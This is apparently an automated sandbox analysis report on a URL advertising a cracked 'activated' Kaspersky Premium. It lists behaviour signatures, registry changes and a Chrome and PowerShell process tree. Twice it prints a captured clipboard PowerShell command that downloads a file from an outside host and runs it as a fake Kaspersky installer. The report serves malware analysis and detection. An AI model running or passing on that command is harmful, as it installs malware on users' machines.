hxxps://officialmec[.]org/kaspersky-premium-activated-100-worked-x32x64-no-virus-filehippo/

Analysis

user interaction
yes
max time kernel
124s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
10/07/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://officialmec.org/kaspersky-premium-activated-100-worked-x32x64-no-virus-filehippo/
Sample260710-sd5jpsdy3s

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
75	2892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -c "Invoke-WebRequest -Uri 'https://tuasesoriadigital.es/default.dat' -Outfile 'kaspersky_premium_x3.exe'; Start-Process 'kaspersky_premium_x3.exe'"	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2928	chrome.exe
3224	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134281693040140128"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2180	chrome.exe
2180	chrome.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
2892	powershell.exe
2892	powershell.exe
1400	chrome.exe
1400	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeShutdownPrivilege	2180	chrome.exe
Token: SeCreatePagefilePrivilege	2180	chrome.exe
Token: SeShutdownPrivilege	2180	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
2180	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe
1400	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4860	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 4248	2180	chrome.exe	80
PID 2180 wrote to memory of 4720	2180	chrome.exe	81
PID 2180 wrote to memory of 4720	2180	chrome.exe	81
PID 2180 wrote to memory of 2928	2180	chrome.exe	82
PID 2180 wrote to memory of 3080	2180	chrome.exe	83
PID 2180 wrote to memory of 3080	2180	chrome.exe	83
PID 2180 wrote to memory of 1284	2180	chrome.exe	84
PID 2180 wrote to memory of 1284	2180	chrome.exe	84
PID 2180 wrote to memory of 1456	2180	chrome.exe	85
PID 2180 wrote to memory of 1456	2180	chrome.exe	85
PID 2180 wrote to memory of 3376	2180	chrome.exe	87
PID 2180 wrote to memory of 3376	2180	chrome.exe	87
PID 2180 wrote to memory of 712	2180	chrome.exe	89
PID 2180 wrote to memory of 4836	2180	chrome.exe	91
PID 2180 wrote to memory of 4836	2180	chrome.exe	91
PID 2180 wrote to memory of 4172	2180	chrome.exe	92
PID 2180 wrote to memory of 4172	2180	chrome.exe	92
PID 2180 wrote to memory of 3140	2180	chrome.exe	93
PID 2180 wrote to memory of 3140	2180	chrome.exe	93
PID 2180 wrote to memory of 860	2180	chrome.exe	97
PID 2180 wrote to memory of 4304	2180	chrome.exe	98
PID 2180 wrote to memory of 1688	2180	chrome.exe	99
PID 3436 wrote to memory of 2892	3436	powershell.exe	102
PID 1400 wrote to memory of 1656	1400	chrome.exe	105
PID 1400 wrote to memory of 2580	1400	chrome.exe	106
PID 1400 wrote to memory of 2580	1400	chrome.exe	106
PID 1400 wrote to memory of 3224	1400	chrome.exe	107
PID 1400 wrote to memory of 4932	1400	chrome.exe	108
PID 1400 wrote to memory of 4932	1400	chrome.exe	108
PID 1400 wrote to memory of 1836	1400	chrome.exe	110
PID 1400 wrote to memory of 4720	1400	chrome.exe	109
PID 1400 wrote to memory of 1836	1400	chrome.exe	110
PID 1400 wrote to memory of 4720	1400	chrome.exe	109
PID 1400 wrote to memory of 4208	1400	chrome.exe	112
PID 1400 wrote to memory of 4208	1400	chrome.exe	112
PID 1400 wrote to memory of 1368	1400	chrome.exe	113
PID 1400 wrote to memory of 1368	1400	chrome.exe	113
PID 1400 wrote to memory of 1468	1400	chrome.exe	114
PID 1400 wrote to memory of 1468	1400	chrome.exe	114
PID 1400 wrote to memory of 4948	1400	chrome.exe	115
PID 1400 wrote to memory of 4948	1400	chrome.exe	115
PID 1400 wrote to memory of 836	1400	chrome.exe	116
PID 1400 wrote to memory of 3188	1400	chrome.exe	117
PID 1400 wrote to memory of 3188	1400	chrome.exe	117
PID 1400 wrote to memory of 1504	1400	chrome.exe	118
PID 1400 wrote to memory of 5104	1400	chrome.exe	119
PID 1400 wrote to memory of 3412	1400	chrome.exe	120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://officialmec.org/kaspersky-premium-activated-100-worked-x32x64-no-virus-filehippo/
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffee45dc728,0x7ffee45dc734,0x7ffee45dc740
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1636,i,8271389540481541970,18174092649489277895,262144 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
  2⤵
  PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2224,i,2452844201181768802,15009963732319716783,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2232 /prefetch:11
  2⤵
  - System Time Discovery
  PID:2928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,8975923388571900952,4546923741396421027,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2352 /prefetch:13
  2⤵
  PID:3080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3244,i,7953456004672127384,592109209639956453,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:1284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,14461937031696882363,6777206500278652436,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:1456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4304,i,792265695809879864,12821172270119754851,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4308 /prefetch:9
  2⤵
  PID:3376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5320,i,16003370524755483075,9682720464792887558,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5324 /prefetch:14
  2⤵
  PID:712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5728,i,12640139482153413732,6891604609657245524,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:4836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3932,i,16477700862237056476,10030818342648527801,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5800 /prefetch:1
  2⤵
  PID:4172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5584,i,13338842523666879424,5289703061999191168,2097152 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5656 /prefetch:1
  2⤵
  PID:3140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3428,i,1232767926313113241,9804815338950271664,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=212 /prefetch:14
  2⤵
  PID:860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3456,i,5542452949176093513,16541778818459449760,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4732 /prefetch:14
  2⤵
  PID:4304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6136,i,2367428775728688144,5451065723516870665,524288 --field-trial-handle=1972,i,3617803215778725915,2824719913362829702,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5892 /prefetch:14
  2⤵
  PID:1688

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:772

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-WebRequest -Uri 'https://tuasesoriadigital.es/default.dat' -Outfile 'kaspersky_premium_x3.exe'; Start-Process 'kaspersky_premium_x3.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2892

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffee45dc728,0x7ffee45dc734,0x7ffee45dc740
  2⤵
  PID:1656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1648,i,10654340847127645897,691285622654118686,262144 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:2580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2224,i,8599703498765495442,8085268921583865796,524288 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2232 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,14907016436000861817,254110835713957305,524288 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2364 /prefetch:13
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,2283112060395088477,7350908129213700640,2097152 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3448 /prefetch:1
  2⤵
  PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3284,i,13896731713486718836,17047517515552472304,2097152 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4460,i,17332977402747060090,18422732022357535308,2097152 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4464 /prefetch:1
  2⤵
  PID:4208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4736,i,6876547181117402269,11461650290282265459,524288 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4740 /prefetch:14
  2⤵
  PID:1368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,9696854684133423648,5219527521178991958,524288 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4896 /prefetch:14
  2⤵
  PID:1468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4916,i,10975160762490659171,15903589308897339567,2097152 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5032 /prefetch:1
  2⤵
  PID:4948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5316,i,3922837194797738888,4780592655167665777,524288 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5216 /prefetch:14
  2⤵
  PID:836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5412,i,13890369097129878868,6092484575199854423,2097152 --field-trial-handle=1920,i,6227868363291629446,18414988965619833129,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5236 /prefetch:1
  2⤵
  PID:3188
- C:\Program Files\Google\Chrome\Application\chrome.exe
